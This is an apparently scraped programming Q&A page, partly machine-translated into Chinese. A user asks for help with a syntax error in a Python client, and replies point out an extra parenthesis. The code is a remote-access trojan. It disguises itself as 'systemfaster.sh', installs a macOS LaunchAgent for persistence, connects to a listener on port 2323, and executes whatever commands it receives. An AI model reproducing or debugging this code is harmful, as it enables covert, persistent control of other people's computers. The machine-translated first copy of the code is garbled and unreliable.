if-Python3的问题 导入套接字 导入子流程 导入操作系统 p=os.path.dirname(os.path.abspath(_文件__)) setsidrat=(“setsid python3{p}\dada.py”) 打开(“systemfaster.sh”、“w”)作为python脚本文件: python_script_file.write(setsidrat) l=f 标签 com.example.exampled 发射台 程序参数 /bin/bash {p} \systemfaster.sh ') """ 使用open(“com.example.exampld.plist”、“w”)作为python脚本文件: python_script_file.write(l) system(“launchctl加载库/LaunchAgents/com.example.exampld.plist”) SERVER\u HOST=“127.0.0.1” 服务器\u端口=2323 缓冲区大小=“1024” #创建套接字对象 s=socket.socket() #连接到服务器 s、 连接((服务器\主机、服务器\端口)) 尽管如此: #从服务器接收命令 command=int((s.recv(缓冲区大小).decode()) 如果命令==“退出”: 打破 #执行命令并检索结果 output=子流程.getoutput(命令) #将结果发送回服务器 s、 发送(output.encode()) #关闭客户端连接 s、 关闭()

if-Python3的问题 导入套接字 导入子流程 导入操作系统 p=os.path.dirname(os.path.abspath(_文件__)) setsidrat=(“setsid python3{p}\dada.py”) 打开(“systemfaster.sh”、“w”)作为python脚本文件: python_script_file.write(setsidrat) l=f 标签 com.example.exampled 发射台 程序参数 /bin/bash {p} \systemfaster.sh ') """ 使用open(“com.example.exampld.plist”、“w”)作为python脚本文件: python_script_file.write(l) system(“launchctl加载库/LaunchAgents/com.example.exampld.plist”) SERVER\u HOST=“127.0.0.1” 服务器\u端口=2323 缓冲区大小=“1024” #创建套接字对象 s=socket.socket() #连接到服务器 s、 连接((服务器\主机、服务器\端口)) 尽管如此: #从服务器接收命令 command=int((s.recv(缓冲区大小).decode()) 如果命令==“退出”: 打破 #执行命令并检索结果 output=子流程.getoutput(命令) #将结果发送回服务器 s、 发送(output.encode()) #关闭客户端连接 s、 关闭(),python,python-3.x,Python,Python 3.x,这是接收命令并执行它的服务器客户端,但是python说41行的if有语法问题,我无法解决这个简单的问题,因为idk是什么导致它的。我还尝试删除它,它为下一行代码打印语法错误。这部分代码int((s.recv(BUFFER\u SIZE).decode())使用额外的partenthese。 请尝试此int(s.recv(BUFFER_SIZE).decode())。前一行代码缺少右括号(或有额外的左括号)也不是一个解决方案TypeError:“str”对象不能被解释为整数,这是因为您试图将那些括

这是接收命令并执行它的服务器客户端,但是python说41行的
if
有语法问题,我无法解决这个简单的问题,因为idk是什么导致它的。我还尝试删除它,它为下一行代码打印语法错误。

这部分代码
int((s.recv(BUFFER\u SIZE).decode())
使用额外的partenthese。
请尝试此
int(s.recv(BUFFER_SIZE).decode())

前一行代码缺少右括号(或有额外的左括号)也不是一个解决方案
TypeError:“str”对象不能被解释为整数
,这是因为您试图将那些括号之间不可解释为整数的东西强制转换为整数。
import socket
import subprocess
import os
p = os.path.dirname(os.path.abspath(__file__))
setsidrat = ("setsid python3 {p}\dada.py")
with open("systemfaster.sh", "w") as python_script_file:
    python_script_file.write(setsidrat)
l = f"""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.example.exampled</string>
    <key>LaunchOnlyOnce</key>
        <true/>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>{p}\systemfaster.sh</string>

    </array>
</dict>
</plist>')
"""
with open("com.example.exampld.plist", "w") as python_script_file:
    python_script_file.write(l)
os.system("launchctl load Library/LaunchAgents/com.example.exampld.plist")
SERVER_HOST = "127.0.0.1"
SERVER_PORT = 2323
BUFFER_SIZE = "1024"
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
while True:
    # receive the command from the server
    command = int((s.recv(BUFFER_SIZE).decode())
    if command=="exit":
        break
    # execute the command and retrieve the results
    output = subprocess.getoutput(command)
    # send the results back to the server
    s.send(output.encode())
# close client connection
s.close()